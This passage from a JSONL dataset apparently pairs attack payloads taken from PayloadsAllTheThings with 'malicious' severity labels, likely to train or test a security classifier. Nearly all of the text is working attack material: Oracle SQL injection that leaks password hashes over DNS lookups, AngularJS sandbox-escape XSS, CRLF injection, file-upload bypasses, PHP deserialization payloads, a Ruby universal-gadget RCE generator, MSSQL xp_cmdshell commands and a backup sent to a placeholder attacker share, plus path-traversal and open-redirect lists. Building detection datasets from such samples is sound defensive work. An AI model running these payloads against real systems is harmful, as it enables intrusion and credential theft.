'i'='i\n' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=2)) AND 'i'='i\n' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=2)) AND 'i'='i\n' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=2)) AND 'i'='i\n' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=2)) AND 'i'='i\n' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=3)) AND 'i'='i\n' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=3)) AND 'i'='i\n' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=3)) AND 'i'='i\n' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=3)) AND 'i'='i\n' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=3)) AND 'i'='i\n' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=4)) AND 'i'='i\n' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=4)) AND 'i'='i\n' AND 1=utl_inaddr.get_hos", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "critical", "explanation": "SQL injection payload from SQL Injection/FUZZDB_Oracle.txt. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00095", "source": "payloads_all_the_things", "source_license": "MIT", "text": "# XSS in Angular and AngularJS\n\n## Summary\n\n* [Client Side Template Injection](#client-side-template-injection)\n    * [Stored/Reflected XSS](#storedreflected-xss)\n    * [Advanced Bypassing XSS](#advanced-bypassing-xss)\n    * [Blind XSS](#blind-xss)\n* [Automatic Sanitization](#automatic-sanitization)\n* [References](#references)\n\n## Client Side Template Injection\n\nThe following payloads are based on Client Side Template Injection.\n\n### Stored/Reflected XSS\n\n`ng-app` directive must be present in a root element to allow the client-side injection (cf. [AngularJS: API: ngApp](https://docs.angularjs.org/api/ng/directive/ngApp)).\n\n> AngularJS as of version 1.6 have removed the sandbox altogether\n\nAngularJS 1.6+ by [Mario Heiderich](https://twitter.com/cure53berlin)\n\n```javascript\n{{constructor.constructor('alert(1)')()}}\n```\n\nAngularJS 1.6+ by [@brutelogic](https://twitter.com/brutelogic/status/1031534746084491265)\n\n```javascript\n{{[].pop.constructor&#40'alert\\u00281\\u0029'&#41&#40&#41}}\n```\n\nExample available at [https://brutelogic.com.br/xss.php](https://brutelogic.com.br/xss.php?a=<brute+ng-app>%7B%7B[].pop.constructor%26%2340%27alert%5Cu00281%5Cu0029%27%26%2341%26%2340%26%2341%7D%7D)\n\nAngularJS 1.6.0 by [@LewisArdern](https://twitter.com/LewisArdern/status/1055887619618471938) & [@garethheyes](https://twitter.com/garethheyes/status/1055884215131213830)\n\n```javascript\n{{0[a='constructor'][a]('alert(1)')()}}\n{{$eval.constructor('alert(1)')()}}\n{{$on.constructor('alert(1)')()}}\n```\n\nAngularJS 1.5.9 - 1.5.11 by [Jan Horn](https://twitter.com/tehjh)\n\n```javascript\n{{\n    c=''.sub.call;b=''.sub.bind;a=''.sub.apply;\n    c.$apply=$apply;c.$eval=b;op=$root.$$phase;\n    $root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString;\n    C=c.$apply(c);$root.$$phase=op;$root.$digest=od;\n    B=C(b,c,b);$evalAsync(\"\n    astNode=pop();astNode.type='UnaryExpression';\n    astNode.operator='(window.X?void0:(window.X=true,alert(1)))+';\n    astNode.argument={type:'Identifier',name:'foo'};\n    \");\n    m1=B($$asyncQueue.pop().expression,null,$root);\n    m2=B(C,null,m1);[].push.apply=m2;a=''.sub;\n    $eval('a(b.c)');[].push.apply=a;\n}}\n```\n\nAngularJS 1.5.0 - 1.5.8\n\n```javascript\n{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}\n```\n\nAngularJS 1.4.0 - 1.4.9\n\n```javascript\n{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}\n```\n\nAngularJS 1.3.20\n\n```javascript\n{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}}\n```\n\nAngularJS 1.3.19\n\n```javascript\n{{\n    'a'[{toString:false,valueOf:[].join,length:1,0:'__proto__'}].charAt=[].join;\n    $eval('x=alert(1)//');\n}}\n```\n\nAngularJS 1.3.3 - 1.3.18\n\n```javascript\n{{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;\n  'a'.constructor.prototype.charAt=[].join;\n  $eval('x=alert(1)//');  }}\n```\n\nAngularJS 1.3.1 - 1.3.2\n\n```javascript\n{{\n    {}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;\n    'a'.constructor.prototype.charAt=''.valueOf;\n    $eval('x=alert(1)//');\n}}\n```\n\nAngularJS 1.3.0\n\n```javascript\n{{!ready && (ready = true) && (\n      !call\n      ? $$watchers[0].get(toString.constructor.prototype)\n      : (a = apply) &&\n        (apply = constructor) &&\n        (valueOf = call) &&\n        (''+''.toString(\n          'F = Function.prototype;' +\n          'F.apply = F.a;' +\n          'delete F.a;' +\n          'delete F.valueOf;' +\n          'alert(1);'\n        ))\n    );}}\n```\n\nAngularJS 1.2.24 - 1.2.29\n\n```javascript\n{{'a'.constructor.prototype.charAt=''.valueOf;$eval(\"x='\\\"+(y='if(!window\\\\u002ex)alert(window\\\\u002ex=1)')+eval(y)+\\\"'\");}}\n```\n\nAngularJS 1.2.19 - 1.2.23\n\n```javascript\n{{toString.constructor.prototype.toString=toString.constructor.prototype.call;[\"a\",\"alert(1)\"].sort(toString.constructor);}}\n```\n\nAngularJS 1.2.6 - 1.2.18\n\n```javascript\n{{(_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.__proto__,$).value,0,'alert(1)')()}}\n```\n\nAngularJS 1.2.2 - 1.2.5\n\n```javascript\n{{'a'[{toString:[].join,le", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "high", "explanation": "Cross-site scripting payload from XSS Injection/5 - XSS in Angular.md. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00096", "source": "payloads_all_the_things", "source_license": "MIT", "text": "/%%0a0aSet-Cookie:crlf=injection\n/%0aSet-Cookie:crlf=injection\n/%0d%0aSet-Cookie:crlf=injection\n/%0dSet-Cookie:crlf=injection\n/%23%0aSet-Cookie:crlf=injection\n/%23%0d%0aSet-Cookie:crlf=injection\n/%23%0dSet-Cookie:crlf=injection\n/%25%30%61Set-Cookie:crlf=injection\n/%25%30aSet-Cookie:crlf=injection\n/%250aSet-Cookie:crlf=injection\n/%25250aSet-Cookie:crlf=injection\n/%2e%2e%2f%0d%0aSet-Cookie:crlf=injection\n/%2f%2e%2e%0d%0aSet-Cookie:crlf=injection\n/%2F..%0d%0aSet-Cookie:crlf=injection\n/%3f%0d%0aSet-Cookie:crlf=injection\n/%3f%0dSet-Cookie:crlf=injection\n/%u000aSet-Cookie:crlf=injection\n", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "high", "explanation": "CRLF injection payload from CRLF Injection/crlfinjection.txt. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00097", "source": "payloads_all_the_things", "source_license": "MIT", "text": "# Upload Insecure Files\n\n> Uploaded files may pose a significant risk if not handled correctly. A remote attacker could send a multipart/form-data POST request with a specially-crafted filename or mime type and execute arbitrary code.\n\n## Summary\n\n* [Tools](#tools)\n* [Methodology](#methodology)\n    * [Defaults Extensions](#defaults-extensions)\n    * [Upload Tricks](#upload-tricks)\n    * [Filename Vulnerabilities](#filename-vulnerabilities)\n    * [Picture Compression](#picture-compression)\n    * [Picture Metadata](#picture-metadata)\n    * [Configuration Files](#configuration-files)\n    * [CVE - ImageMagick](#cve---imagemagick)\n    * [CVE - FFMpeg HLS](#cve---ffmpeg-hls)\n* [Labs](#labs)\n* [References](#references)\n\n## Tools\n\n* [almandin/fuxploiderFuxploider](https://github.com/almandin/fuxploider) - File upload vulnerability scanner and exploitation tool.\n* [Burp/Upload Scanner](https://portswigger.net/bappstore/b2244cbb6953442cb3c82fa0a0d908fa) -  HTTP file upload scanner for Burp Proxy.\n* [ZAP/FileUpload](https://www.zaproxy.org/blog/2021-08-20-zap-fileupload-addon/) -  OWASP ZAP add-on for finding vulnerabilities in File Upload functionality.\n\n## Methodology\n\n![file-upload-mindmap.png](https://github.com/swisskyrepo/PayloadsAllTheThings/raw/master/Upload%20Insecure%20Files/Images/file-upload-mindmap.png?raw=true)\n\n### Defaults Extensions\n\nHere is a list of the default extensions for web shell pages in the selected languages (PHP, ASP, JSP).\n\n* PHP Server\n\n    ```powershell\n    .php\n    .php3\n    .php4\n    .php5\n    .php7\n\n    # Less known PHP extensions\n    .pht\n    .phps\n    .phar\n    .phpt\n    .pgif\n    .phtml\n    .phtm\n    .inc\n    ```\n\n* ASP Server\n\n    ```powershell\n    .asp\n    .aspx\n    .config\n    .cer # (IIS <= 7.5)\n    .asa # (IIS <= 7.5)\n    shell.aspx;1.jpg # (IIS < 7.0)\n    shell.soap\n    ```\n\n* JSP : `.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .actions`\n* Perl: `.pl, .pm, .cgi, .lib`\n* Coldfusion: `.cfm, .cfml, .cfc, .dbm`\n* Node.js: `.js, .json, .node`\n\nOther extensions that can be abused to trigger other vulnerabilities.\n\n* `.svg`: XXE, XSS, SSRF\n* `.gif`: XSS\n* `.csv`: CSV Injection\n* `.xml`: XXE\n* `.avi`: LFI, SSRF\n* `.js` : XSS, Open Redirect\n* `.zip`: RCE, DOS, LFI Gadget\n* `.html` : XSS, Open Redirect\n\n### Upload Tricks\n\n**Extensions**:\n\n* Use double extensions : `.jpg.php, .png.php5`\n* Use reverse double extension (useful to exploit Apache misconfigurations where anything with extension .php, but not necessarily ending in .php will execute code): `.php.jpg`\n* Random uppercase and lowercase : `.pHp, .pHP5, .PhAr`\n* Null byte (works well against `pathinfo()`)\n    * `.php%00.gif`\n    * `.php\\x00.gif`\n    * `.php%00.png`\n    * `.php\\x00.png`\n    * `.php%00.jpg`\n    * `.php\\x00.jpg`\n* Special characters\n    * Multiple dots : `file.php......` , on Windows when a file is created with dots at the end those will be removed.\n    * Whitespace and new line characters\n        * `file.php%20`\n        * `file.php%0d%0a.jpg`\n        * `file.php%0a`\n    * Right to Left Override (RTLO): `name.%E2%80%AEphp.jpg` will became `name.gpj.php`.\n    * Slash: `file.php/`, `file.php.\\`, `file.j\\sp`, `file.j/sp`\n    * Multiple special characters: `file.jsp/././././.`\n    * UTF8 filename: `Content-Disposition: form-data; name=\"anyBodyParam\"; filename*=UTF8''myfile%0a.txt`\n\n* On Windows OS, `include`, `require` and `require_once` functions will convert \"foo.php\" followed by one or more of the chars `\\x20` ( ), `\\x22` (\"), `\\x2E` (.), `\\x3C` (<), `\\x3E` (>) back to \"foo.php\".\n* On Windows OS, `fopen` function will convert \"foo.php\" followed by one or more of the chars `\\x2E` (.), `\\x2F` (/), `\\x5C` (\\) back to \"foo.php\".\n* On Windows OS, `move_uploaded_file` function will convert \"foo.php\" followed by one or more of the chars `\\x2E` (.), `\\x2F` (/), `\\x5C` (\\) back to \"foo.php\".\n\n* On Windows OS, when running PHP on IIS some characters are automatically converted to other characters when it is going to save a file (e.g. `web<<` becomes", "findings": [{"category": "malicious", "subcategory": "malicious.shell", "severity": "critical", "explanation": "Malicious file upload payload from Upload Insecure Files/README.md. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00098", "source": "payloads_all_the_things", "source_license": "MIT", "text": "# PHP Deserialization\n\n> PHP Object Injection is an application level vulnerability that could allow an attacker to perform different kinds of malicious attacks, such as Code Injection, SQL Injection, Path Traversal and Application Denial of Service, depending on the context. The vulnerability occurs when user-supplied input is not properly sanitized before being passed to the unserialize() PHP function. Since PHP allows object serialization, attackers could pass ad-hoc serialized strings to a vulnerable unserialize() call, resulting in an arbitrary PHP object(s) injection into the application scope.\n\n## Summary\n\n* [General Concept](#general-concept)\n* [Authentication Bypass](#authentication-bypass)\n* [Object Injection](#object-injection)\n* [Finding and Using Gadgets](#finding-and-using-gadgets)\n* [Phar Deserialization](#phar-deserialization)\n* [Real World Examples](#real-world-examples)\n* [References](#references)\n\n## General Concept\n\nThe following magic methods will help you for a PHP Object injection\n\n* `__wakeup()` when an object is unserialized.\n* `__destruct()` when an object is deleted.\n* `__toString()` when an object is converted to a string.\n\nAlso you should check the `Wrapper Phar://` in [File Inclusion](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion#wrapper-phar) which use a PHP object injection.\n\nVulnerable code:\n\n```php\n<?php \n    class PHPObjectInjection{\n        public $inject;\n        function __construct(){\n        }\n        function __wakeup(){\n            if(isset($this->inject)){\n                eval($this->inject);\n            }\n        }\n    }\n    if(isset($_REQUEST['r'])){  \n        $var1=unserialize($_REQUEST['r']);\n        if(is_array($var1)){\n            echo \"<br/>\".$var1[0].\" - \".$var1[1];\n        }\n    }\n    else{\n        echo \"\"; # nothing happens here\n    }\n?>\n```\n\nCraft a payload using existing code inside the application.\n\n* Basic serialized data\n\n    ```php\n    a:2:{i:0;s:4:\"XVWA\";i:1;s:33:\"Xtreme Vulnerable Web Application\";}\n    ```\n\n* Command execution\n\n    ```php\n    string(68) \"O:18:\"PHPObjectInjection\":1:{s:6:\"inject\";s:17:\"system('whoami');\";}\"\n    ```\n\n## Authentication Bypass\n\n### Type Juggling\n\nVulnerable code:\n\n```php\n<?php\n$data = unserialize($_COOKIE['auth']);\n\nif ($data['username'] == $adminName && $data['password'] == $adminPassword) {\n    $admin = true;\n} else {\n    $admin = false;\n}\n```\n\nPayload:\n\n```php\na:2:{s:8:\"username\";b:1;s:8:\"password\";b:1;}\n```\n\nBecause `true == \"str\"` is true.\n\n## Object Injection\n\nVulnerable code:\n\n```php\n<?php\nclass ObjectExample\n{\n  var $guess;\n  var $secretCode;\n}\n\n$obj = unserialize($_GET['input']);\n\nif($obj) {\n    $obj->secretCode = rand(500000,999999);\n    if($obj->guess === $obj->secretCode) {\n        echo \"Win\";\n    }\n}\n?>\n```\n\nPayload:\n\n```php\nO:13:\"ObjectExample\":2:{s:10:\"secretCode\";N;s:5:\"guess\";R:2;}\n```\n\nWe can do an array like this:\n\n```php\na:2:{s:10:\"admin_hash\";N;s:4:\"hmac\";R:2;}\n```\n\n## Finding and Using Gadgets\n\nAlso called `\"PHP POP Chains\"`, they can be used to gain RCE on the system.\n\n* In PHP source code, look for `unserialize()` function.\n* Interesting [Magic Methods](https://www.php.net/manual/en/language.oop5.magic.php) such as `__construct()`, `__destruct()`, `__call()`, `__callStatic()`, `__get()`, `__set()`, `__isset()`, `__unset()`, `__sleep()`, `__wakeup()`, `__serialize()`, `__unserialize()`, `__toString()`, `__invoke()`, `__set_state()`, `__clone()`, and `__debugInfo()`:\n    * `__construct()`: PHP allows developers to declare constructor methods for classes. Classes which have a constructor method call this method on each newly-created object, so it is suitable for any initialization that the object may need before it is used. [php.net](https://www.php.net/manual/en/language.oop5.decon.php#object.construct)\n    * `__destruct()`: The destructor method will be called as soon as there are no other references to a particular object, or in any order during the shutdown sequence. [php.net](", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "critical", "explanation": "Insecure deserialization payload from Insecure Deserialization/PHP.md. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00099", "source": "payloads_all_the_things", "source_license": "MIT", "text": "1'1\n1 exec sp_ (or exec xp_)\n1 and 1=1\n1' and 1=(select count(*) from tablenames); --\n1 or 1=1\n1' or '1'='1\n", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "critical", "explanation": "SQL injection payload from SQL Injection/FUZZDB_MYSQL.txt. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00100", "source": "payloads_all_the_things", "source_license": "MIT", "text": "# info disclosure payload fuzzfile for pgsql\nselect version();\t\nselect current_database();\nselect current_user;\nselect session_user;\nselect current_setting('log_connections');\nselect current_setting('log_statement');\nselect current_setting('port');\nselect current_setting('password_encryption');\nselect current_setting('krb_server_keyfile');\nselect current_setting('virtual_host');\nselect current_setting('port');\nselect current_setting('config_file');\nselect current_setting('hba_file');\nselect current_setting('data_directory');\nselect * from pg_shadow;\nselect * from pg_group;\ncreate table myfile (input TEXT);\ncopy myfile from '/etc/passwd'; \nselect * from myfile;copy myfile to /tmp/test;\n", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "critical", "explanation": "SQL injection payload from SQL Injection/FUZZDB_Postgres_Enumeration.txt. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00101", "source": "payloads_all_the_things", "source_license": "MIT", "text": "../\n../../\n../../../\n../../../../\n../../../../../\n../../../../../../\n../../../../../../../\n../../../../../../../../\n../../../../../../../../../\n../../../../../../../../../../\n../../../../../../../../../../../\n../../../../../../../../../../../../\n../../../../../../../../../../../../../\n../../../../../../../../../../../../../../\n../../../../../../../../../../../../../../../\n/..%2f\n/..%2f..%2f\n/..%2f..%2f..%2f\n/..%2f..%2f..%2f..%2f\n/..%2f..%2f..%2f..%2f..%2f\n/..%2f..%2f..%2f..%2f..%2f..%2f\n/..%2f..%2f..%2f..%2f..%2f..%2f..%2f\n/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f\n/%2e%2e/\n/%2e%2e/%2e%2e/\n/%2e%2e/%2e%2e/%2e%2e/\n/%2e%2e/%2e%2e/%2e%2e/%2e%2e/\n/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/\n/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/\n/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/\n/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/\n/%2e%2e%2f\n/%2e%2e%2f%2e%2e%2f\n/%2e%2e%2f%2e%2e%2f%2e%2e%2f\n/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f\n/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f\n/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f\n/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f\n/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f\n/..%252f\n/..%252f..%252f\n/..%252f..%252f..%252f\n/..%252f..%252f..%252f..%252f\n/..%252f..%252f..%252f..%252f..%252f\n/..%252f..%252f..%252f..%252f..%252f..%252f\n/..%252f..%252f..%252f..%252f..%252f..%252f..%252f\n/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f\n/%252e%252e/\n/%252e%252e/%252e%252e/\n/%252e%252e/%252e%252e/%252e%252e/\n/%252e%252e/%252e%252e/%252e%252e/%252e%252e/\n/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/\n/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/\n/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/\n/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/\n/%252e%252e%252f\n/%252e%252e%252f%252e%252e%252f\n/%252e%252e%252f%252e%252e%252f%252e%252e%252f\n/%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f\n/%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f\n/%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f\n/%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f\n/%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f\n/..\\\n/..\\..\\\n/..\\..\\..\\\n/..\\..\\..\\..\\\n/..\\..\\..\\..\\..\\\n/..\\..\\..\\..\\..\\..\\\n/..\\..\\..\\..\\..\\..\\..\\\n/..\\..\\..\\..\\..\\..\\..\\..\\\n/..%255c\n/..%255c..%255c\n/..%255c..%255c..%255c\n/..%255c..%255c..%255c..%255c\n/..%255c..%255c..%255c..%255c..%255c\n/..%255c..%255c..%255c..%255c..%255c..%255c\n/..%255c..%255c..%255c..%255c..%255c..%255c..%255c\n/..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c\n/..%5c..%5c\n/..%5c..%5c..%5c\n/..%5c..%5c..%5c..%5c\n/..%5c..%5c..%5c..%5c..%5c\n/..%5c..%5c..%5c..%5c..%5c..%5c\n/..%5c..%5c..%5c..%5c..%5c..%5c..%5c\n/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c\n/%2e%2e\\\n/%2e%2e\\%2e%2e\\\n/%2e%2e\\%2e%2e\\%2e%2e\\\n/%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\\n/%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\\n/%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\\n/%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\\n/%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\\n/%2e%2e%5c\n/%2e%2e%5c%2e%2e%5c\n/%2e%2e%5c%2e%2e%5c%2e%2e%5c\n/%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c\n/%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c\n/%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c\n/%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c\n/%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c\n/%252e%252e\\\n/%252e%252e\\%252e%252e\\\n/%252e%252e\\%252e%252e\\%252e%252e\\\n/%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\\n/%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\\n/%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\\n/%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\\n/%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%2", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "critical", "explanation": "File inclusion payload from File Inclusion/dot-slash-PathTraversal_and_LFI_pairing.txt. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00102", "source": "payloads_all_the_things", "source_license": "MIT", "text": "#!/usr/bin/env ruby\n\nclass Gem::StubSpecification\n  def initialize; end\nend\n\n\nstub_specification = Gem::StubSpecification.new\nstub_specification.instance_variable_set(:@loaded_from, \"|id 1>&2\")\n\nputs \"STEP n\"\nstub_specification.name rescue nil\nputs\n\n\nclass Gem::Source::SpecificFile\n  def initialize; end\nend\n\nspecific_file = Gem::Source::SpecificFile.new\nspecific_file.instance_variable_set(:@spec, stub_specification)\n\nother_specific_file = Gem::Source::SpecificFile.new\n\nputs \"STEP n-1\"\nspecific_file <=> other_specific_file rescue nil\nputs\n\n\n$dependency_list= Gem::DependencyList.new\n$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])\n\nputs \"STEP n-2\"\n$dependency_list.each{} rescue nil\nputs\n\n\nclass Gem::Requirement\n  def marshal_dump\n    [$dependency_list]\n  end\nend\n\npayload = Marshal.dump(Gem::Requirement.new)\n\nputs \"STEP n-3\"\nMarshal.load(payload) rescue nil\nputs\n\n\nputs \"VALIDATION (in fresh ruby process):\"\nIO.popen(\"ruby -e 'Marshal.load(STDIN.read) rescue nil'\", \"r+\") do |pipe|\n  pipe.print payload\n  pipe.close_write\n  puts pipe.gets\n  puts\nend\n\nputs \"Payload (hex):\"\nputs payload.unpack('H*')[0]\nputs\n\n\nrequire \"base64\"\nputs \"Payload (Base64 encoded):\"\nputs Base64.encode64(payload)", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "critical", "explanation": "Insecure deserialization payload from Insecure Deserialization/Ruby_universal_gadget_generate_verify.rb. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00103", "source": "payloads_all_the_things", "source_license": "MIT", "text": "# ms-sqli info disclosure payload fuzzfile\n# replace regex with your fuzzer for best results <attackerip> <sharename>\n# run wireshark or tcpdump, look for incoming smb or icmp packets from victim\n# might need to terminate payloads with ;--\nselect @@version\nselect @@servernamee\nselect @@microsoftversione\nselect * from master..sysserverse\nselect * from sysusers\nexec master..xp_cmdshell 'ipconfig+/all'\t\nexec master..xp_cmdshell 'net+view'\nexec master..xp_cmdshell 'net+users'\nexec master..xp_cmdshell 'ping+<attackerip>'\nBACKUP database master to disks='\\\\<attackerip>\\<attackerip>\\backupdb.dat'\ncreate table myfile (line varchar(8000))\" bulk insert foo from 'c:\\inetpub\\wwwroot\\auth.asp'\" select * from myfile\"--\n", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "critical", "explanation": "SQL injection payload from SQL Injection/FUZZDB_MSSQL_Enumeration.txt. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00104", "source": "payloads_all_the_things", "source_license": "MIT", "text": "/http://example.com\n/%5cexample.com\n/%2f%2fexample.com\n/example.com/%2f%2e%2e\n/http:/example.com\n/?url=http://example.com&next=http://example.com&redirect=http://example.com&redir=http://example.com&rurl=http://example.com\n/?url=//example.com&next=//example.com&redirect=//example.com&redir=//example.com&rurl=//example.com\n/?url=/\\/example.com&next=/\\/example.com&redirect=/\\/example.com\n/redirect?url=http://example.com&next=http://example.com&redirect=http://example.com&redir=http://example.com&rurl=http://example.com\n/redirect?url=//example.com&next=//example.com&redirect=//example.com&redir=//example.com&rurl=//example.com\n/redirect?url=/\\/example.com&next=/\\/example.com&redirect=/\\/example.com&redir=/\\/example.com&rurl=/\\/example.com\n/.example.com\n///\\;@example.com\n///example.com/\n///example.com\n///example.com/%2f..\n/////example.com/\n/////example.com", "findings": [{"category": "malicious", "subcategory": "malicious.phishing", "severity": "medium", "explanation": "Open redirect payload from Open Redirect/open_redirect_wordlist.txt. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00105", "source": "payloads_all_the_things", "source_license": "MIT", "text": "/etc/apache2/httpd.conf\n/Library/WebServer/Documents/index.html\n/private/var/log/appstore.log\n/var/log/apache2/error_log\n/var/log/apache2/access_log\n/usr/local/nginx/conf/nginx.conf\n/var/log/nginx/error_log\n/var/log/nginx/access_log", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "critical", "explanation": "File inclusion payload from File Inclusion/Mac-files.txt. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
